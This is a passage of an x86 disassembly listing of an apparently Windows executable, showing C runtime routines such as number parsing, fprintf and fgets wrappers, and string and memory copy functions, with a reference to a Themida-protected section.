[ecx], eax cmp eax, 1000h jnb short loc_417E2C loc_417E40: ; CODE XREF: sub_417E20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417E20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_417E70 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E70 proc near ; CODE XREF: ___:00417E61p ; sub_4181B0+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_417E94: ; CODE XREF: sub_417E70+77j cmp dword_443B70, 1 jle short loc_417EB6 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_41DA90 add esp, 8 mov [ebp+var_18], eax jmp short loc_417ED0 ; --------------------------------------------------------------------------- loc_417EB6: ; CODE XREF: sub_417E70+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_417ED0: ; CODE XREF: sub_417E70+44j cmp [ebp+var_18], 0 jz short loc_417EE9 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_417E94 ; --------------------------------------------------------------------------- loc_417EE9: ; CODE XREF: sub_417E70+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_417F0D mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_417F27 ; --------------------------------------------------------------------------- loc_417F0D: ; CODE XREF: sub_417E70+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_417F27 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_417F27: ; CODE XREF: sub_417E70+9Bj ; sub_417E70+A4j cmp [ebp+arg_8], 0 jl short loc_417F39 cmp [ebp+arg_8], 1 jz short loc_417F39 cmp [ebp+arg_8], 24h jle short loc_417F4E loc_417F39: ; CODE XREF: sub_417E70+BBj ; sub_417E70+C1j cmp [ebp+arg_4], 0 jz short loc_417F47 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_417F47: ; CODE XREF: sub_417E70+CDj xor eax, eax jmp loc_41819D ; --------------------------------------------------------------------------- loc_417F4E: ; CODE XREF: sub_417E70+C7j cmp [ebp+arg_8], 0 jnz short loc_417F8C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_417F66 mov [ebp+arg_8], 0Ah jmp short loc_417F8C ; --------------------------------------------------------------------------- loc_417F66: ; CODE XREF: sub_417E70+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_417F7C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_417F85 loc_417F7C: ; CODE XREF: sub_417E70+FFj mov [ebp+arg_8], 10h jmp short loc_417F8C ; --------------------------------------------------------------------------- loc_417F85: ; CODE XREF: sub_417E70+10Aj mov [ebp+arg_8], 8 loc_417F8C: ; CODE XREF: sub_417E70+E2j ; sub_417E70+F4j ... cmp [ebp+arg_8], 10h jnz short loc_417FCB movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_417FCB mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_417FB1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_417FCB loc_417FB1: ; CODE XREF: sub_417E70+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_417FCB: ; CODE XREF: sub_417E70+120j ; sub_417E70+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_417FD6: ; CODE XREF: sub_417E70+26Bj cmp dword_443B70, 1 jle short loc_417FF7 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_41DA90 add esp, 8 mov [ebp+var_1C], eax jmp short loc_418012 ; --------------------------------------------------------------------------- loc_417FF7: ; CODE XREF: sub_417E70+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_418012: ; CODE XREF: sub_417E70+185j cmp [ebp+var_1C], 0 jz short loc_418024 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_418083 ; --------------------------------------------------------------------------- loc_418024: ; CODE XREF: sub_417E70+1A6j cmp dword_443B70, 1 jle short loc_418049 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_41DA90 add esp, 8 mov [ebp+var_20], eax jmp short loc_418066 ; --------------------------------------------------------------------------- loc_418049: ; CODE XREF: sub_417E70+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_418066: ; CODE XREF: sub_417E70+1D7j cmp [ebp+var_20], 0 jz short loc_418081 movsx eax, byte ptr [ebp+var_8] push eax call sub_420550 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_418083 ; --------------------------------------------------------------------------- loc_418081: ; CODE XREF: sub_417E70+1FAj jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_417E70+1B2j ; sub_417E70+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41808D jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_41808D: ; CODE XREF: sub_417E70+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_4180B3 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_4180C2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_4180C2 loc_4180B3: ; CODE XREF: sub_417E70+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_4180CA ; --------------------------------------------------------------------------- loc_4180C2: ; CODE XREF: sub_417E70+234j ; sub_417E70+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_4180CA: ; CODE XREF: sub_417E70+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_417FD6 ; --------------------------------------------------------------------------- loc_4180E0: ; CODE XREF: sub_417E70:loc_418081j ; sub_417E70+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_418108 cmp [ebp+arg_4], 0 jz short loc_4180FF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4180FF: ; CODE XREF: sub_417E70+287j mov [ebp+var_C], 0 jmp short loc_41817A ; --------------------------------------------------------------------------- loc_418108: ; CODE XREF: sub_417E70+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_418142 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41817A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41812F cmp [ebp+var_C], 80000000h ja short loc_418142 loc_41812F: ; CODE XREF: sub_417E70+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41817A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41817A loc_418142: ; CODE XREF: sub_417E70+2A0j ; sub_417E70+2BDj call sub_420520 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_418160 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41817A ; --------------------------------------------------------------------------- loc_418160: ; CODE XREF: sub_417E70+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_418173 mov [ebp+var_C], 80000000h jmp short loc_41817A ; --------------------------------------------------------------------------- loc_418173: ; CODE XREF: sub_417E70+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41817A: ; CODE XREF: sub_417E70+296j ; sub_417E70+2AAj ... cmp [ebp+arg_4], 0 jz short loc_418188 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_418188: ; CODE XREF: sub_417E70+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41819A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_41819A: ; CODE XREF: sub_417E70+320j mov eax, [ebp+var_C] loc_41819D: ; CODE XREF: sub_417E70+D9j mov esp, ebp pop ebp retn sub_417E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181B0 proc near ; CODE XREF: sub_403038+4DB6p ; sub_403038+4FF0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_417E70 add esp, 10h pop ebp retn sub_4181B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181D0 proc near ; CODE XREF: sub_403038+450Ep ; ___:00418227p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax nop call near ptr 26A0AF2h test eax, eax jnz short loc_4181ED nop call near ptr 26908EFh mov [ebp+var_4], eax jmp short loc_4181F4 ; --------------------------------------------------------------------------- loc_4181ED: ; CODE XREF: sub_4181D0+10j mov [ebp+var_4], 0 loc_4181F4: ; CODE XREF: sub_4181D0+1Bj cmp [ebp+var_4], 0 jz short loc_41820B mov ecx, [ebp+var_4] push ecx call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41820D ; --------------------------------------------------------------------------- loc_41820B: ; CODE XREF: sub_4181D0+28j xor eax, eax loc_41820D: ; CODE XREF: sub_4181D0+39j mov esp, ebp pop ebp retn sub_4181D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_4181D0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418240 proc near ; CODE XREF: sub_403038+4463p ; sub_40AF1B+181p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41824F: ; CODE XREF: sub_418240+37j cmp [ebp+arg_0], 0 jnz short loc_418273 push offset dword_4334B4 push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_418273 int 3 ; Trap to Debugger loc_418273: ; CODE XREF: sub_418240+13j ; sub_418240+30j xor ecx, ecx test ecx, ecx jnz short loc_41824F loc_418279: ; CODE XREF: sub_418240+61j cmp [ebp+arg_4], 0 jnz short loc_41829D push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41829D int 3 ; Trap to Debugger loc_41829D: ; CODE XREF: sub_418240+3Dj ; sub_418240+5Aj xor edx, edx test edx, edx jnz short loc_418279 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_418E90 add esp, 4 mov edx, [ebp+var_4] push edx call sub_420720 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_41E9B0 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_420880 add esp, 8 mov edx, [ebp+var_4] push edx call sub_418F00 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418310 proc near ; CODE XREF: sub_403038+32EDp ; sub_403038+330Cp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418331 xor eax, eax jmp short loc_418333 ; --------------------------------------------------------------------------- loc_418331: ; CODE XREF: sub_418310+1Bj mov eax, edi loc_418333: ; CODE XREF: sub_418310+1Fj cld pop edi leave retn sub_418310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418340 proc near ; CODE XREF: sub_403038+2A0Bp ; sub_403038+2A3Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_418355: ; CODE XREF: sub_418340+3Dj cmp [ebp+arg_0], 0 jnz short loc_418379 push offset aStringNull ; "string != NULL" push 0 push 3Bh loc_418364: ; DATA XREF: Themida_:00569FA2o push offset aFgets_c ; "fgets.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_418379 int 3 ; Trap to Debugger loc_418379: ; CODE XREF: sub_418340+19j ; sub_418340+36j xor edx, edx test edx, edx jnz short loc_418355 loc_41837F: ; CODE XREF: sub_418340+67j cmp [ebp+arg_8], 0 jnz short loc_4183A3 push offset dword_4334B4 push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4183A3 int 3 ; Trap to Debugger loc_4183A3: ; CODE XREF: sub_418340+43j ; sub_418340+60j xor eax, eax test eax, eax jnz short loc_41837F cmp [ebp+arg_4], 0 jg short loc_4183B6 xor eax, eax jmp loc_418477 ; --------------------------------------------------------------------------- loc_4183B6: ; CODE XREF: sub_418340+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_418E90 add esp, 4 loc_4183C8: ; CODE XREF: sub_418340:loc_41845Dj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_418462 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_418413 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_418422 ; --------------------------------------------------------------------------- loc_418413: ; CODE XREF: sub_418340+B1j mov edx, [ebp+var_4] push edx call sub_41DB50 add esp, 4 mov [ebp+var_14], eax loc_418422: ; CODE XREF: sub_418340+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_418441 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41843F mov [ebp+var_10], 0 jmp short loc_418468 ; --------------------------------------------------------------------------- loc_41843F: ; CODE XREF: sub_418340+F4j jmp short loc_418462 ; --------------------------------------------------------------------------- loc_418441: ; CODE XREF: sub_418340+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41845D jmp short loc_418462 ; --------------------------------------------------------------------------- loc_41845D: ; CODE XREF: sub_418340+119j jmp loc_4183C8 ; --------------------------------------------------------------------------- loc_418462: ; CODE XREF: sub_418340+95j ; sub_418340:loc_41843Fj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_418468: ; CODE XREF: sub_418340+FDj mov ecx, [ebp+var_4] push ecx call sub_418F00 add esp, 4 mov eax, [ebp+var_10] loc_418477: ; CODE XREF: sub_418340+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418480 proc near ; CODE XREF: sub_403038+838p ; ___:00424B56p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4184B1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4184AF jz short loc_4184B1 dec ecx dec ecx loc_4184AF: ; CODE XREF: sub_418480+29j not ecx loc_4184B1: ; CODE XREF: sub_418480+9j ; sub_418480+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4184C0 proc near ; CODE XREF: sub_403038+421p ; sub_403038+1C7Cp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_418531 sub_4184C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4184D0 proc near ; CODE XREF: sub_403038+42Ap ; sub_403038+2A9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4184EC loc_4184DD: ; CODE XREF: sub_4184D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41851F test ecx, 3 jnz short loc_4184DD loc_4184EC: ; CODE XREF: sub_4184D0+Bj ; sub_4184D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4184EC mov eax, [ecx-4] test al, al jz short loc_41852E test ah, ah jz short loc_418529 test eax, 0FF0000h jz short loc_418524 test eax, 0FF000000h jz short loc_41851F jmp short loc_4184EC ; --------------------------------------------------------------------------- loc_41851F: ; CODE XREF: sub_4184D0+12j ; sub_4184D0+4Bj lea edi, [ecx-1] jmp short loc_418531 ; --------------------------------------------------------------------------- loc_418524: ; CODE XREF: sub_4184D0+44j lea edi, [ecx-2] jmp short loc_418531 ; --------------------------------------------------------------------------- loc_418529: ; CODE XREF: sub_4184D0+3Dj lea edi, [ecx-3] jmp short loc_418531 ; --------------------------------------------------------------------------- loc_41852E: ; CODE XREF: sub_4184D0+39j lea edi, [ecx-4] loc_418531: ; CODE XREF: sub_4184C0+5j ; sub_4184D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_418556 loc_41853D: ; CODE XREF: sub_4184D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4185A8 mov [edi], dl inc edi test ecx, 3 jnz short loc_41853D jmp short loc_418556 ; --------------------------------------------------------------------------- loc_418551: ; CODE XREF: sub_4184D0+9Ej ; sub_4184D0+B8j mov [edi], edx add edi, 4 loc_418556: ; CODE XREF: sub_4184D0+6Bj ; sub_4184D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_418551 test dl, dl jz short loc_4185A8 test dh, dh jz short loc_41859F test edx, 0FF0000h jz short loc_418592 test edx, 0FF000000h jz short loc_41858A jmp short loc_418551 ; --------------------------------------------------------------------------- loc_41858A: ; CODE XREF: sub_4184D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418592: ; CODE XREF: sub_4184D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41859F: ; CODE XREF: sub_4184D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4185A8: ; CODE XREF: sub_4184D0+72j ; sub_4184D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4184D0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4185C0 loc_4185B0: ; CODE XREF: sub_4185C0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4185C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4185C0 proc near ; CODE XREF: sub_403038+406p ; sub_403038+4ADp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004185B0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_4185C6: ; CODE XREF: sub_417B50+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4185EB loc_4185D8: ; CODE XREF: sub_4185C0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4185B0 test cl, cl jz short loc_418634 test edx, 3 jnz short loc_4185D8 loc_4185EB: ; CODE XREF: sub_4185C0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4185F6: ; CODE XREF: sub_4185C0+61j ; sub_4185C0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418638 and eax, 81010100h jz short loc_4185F6 and eax, 1010100h jnz short loc_418632 and esi, 80000000h jnz short loc_4185F6 loc_418632: ; CODE XREF: sub_4185C0+68j ; sub_4185C0+81j ... pop esi pop edi loc_418634: ; CODE XREF: sub_4185C0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418638: ; CODE XREF: sub_4185C0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_418675 test al, al jz short loc_418632 cmp ah, bl jz short loc_41866E test ah, ah jz short loc_418632 shr eax, 10h cmp al, bl jz short loc_418667 test al, al jz short loc_418632 cmp ah, bl jz short loc_418660 test ah, ah jz short loc_418632 jmp short loc_4185F6 ; --------------------------------------------------------------------------- loc_418660: ; CODE XREF: sub_4185C0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418667: ; CODE XREF: sub_4185C0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41866E: ; CODE XREF: sub_4185C0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418675: ; CODE XREF: sub_4185C0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4185C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418680 proc near ; CODE XREF: sub_408AA4+8Dp ; sub_4093A7+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418734 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_4186AA loc_41869B: ; CODE XREF: sub_418680+28j mov al, [edi] inc edi test al, al jz short loc_4186DB test edi, 3 jnz short loc_41869B loc_4186AA: ; CODE XREF: sub_418680+19j ; sub_418680+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_4186AA mov eax, [edi-4] test al, al jz short loc_4186E8 test ah, ah jz short loc_4186E3 test eax, 0FF0000h jz short loc_4186DE test eax, 0FF000000h jnz short loc_4186AA loc_4186DB: ; CODE XREF: sub_418680+20j dec edi jmp short loc_4186EB ; --------------------------------------------------------------------------- loc_4186DE: ; CODE XREF: sub_418680+52j sub edi, 2 jmp short loc_4186EB ; --------------------------------------------------------------------------- loc_4186E3: ; CODE XREF: sub_418680+4Bj sub edi, 3 jmp short loc_4186EB ; --------------------------------------------------------------------------- loc_4186E8: ; CODE XREF: sub_418680+47j sub edi, 4 loc_4186EB: ; CODE XREF: sub_418680+5Cj ; sub_418680+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418700 mov ebx, ecx shr ecx, 2 jnz short loc_41874C jmp short loc_41871C ; --------------------------------------------------------------------------- loc_418700: ; CODE XREF: sub_418680+75j ; sub_418680+93j mov dl, [esi] inc esi test dl, dl jz short loc_41873A mov [edi], dl inc edi dec ecx jz short loc_418730 test esi, 3 jnz short loc_418700 mov ebx, ecx shr ecx, 2 jnz short loc_41874C loc_41871C: ; CODE XREF: sub_418680+7Ej ; sub_418680+CAj mov ecx, ebx and ecx, 3 jz short loc_418730 loc_418723: ; CODE XREF: sub_418680+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418732 dec ecx jnz short loc_418723 loc_418730: ; CODE XREF: sub_418680+8Bj ; sub_418680+A1j mov [edi], cl loc_418732: ; CODE XREF: sub_418680+ABj pop ebx pop esi loc_418734: ; CODE XREF: sub_418680+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41873A: ; CODE XREF: sub_418680+85j ; sub_418680+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418744: ; CODE XREF: sub_418680+E4j ; sub_418680+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41871C loc_41874C: ; CODE XREF: sub_418680+7Cj ; sub_418680+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418744 test dl, dl jz short loc_41873A test dh, dh jz short loc_418798 test edx, 0FF0000h jz short loc_418788 test edx, 0FF000000h jnz short loc_418744 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418788: ; CODE XREF: sub_418680+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418798: ; CODE XREF: sub_418680+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187B0 proc near ; CODE XREF: sub_408BD5+62p ; sub_408BD5+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4187D0 cmp edi, eax jb loc_418948 loc_4187D0: ; CODE XREF: sub_4187B0+16j test edi, 3 jnz short loc_4187EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41880C rep movsd jmp off_4188F8[edx*4] ; --------------------------------------------------------------------------- loc_4187EC: ; CODE XREF: sub_4187B0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418804 and eax, 3 add ecx, eax jmp dword ptr loc_41880C+4[eax*4] ; --------------------------------------------------------------------------- loc_418804: ; CODE XREF: sub_4187B0+46j jmp dword ptr loc_418908[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41880C: ; CODE XREF: sub_4187B0+31j ; sub_4187B0+8Ej ... jmp off_41888C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418820 dd offset loc_41884C dd offset loc_418870 ; --------------------------------------------------------------------------- loc_418820: ; DATA XREF: sub_4187B0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short 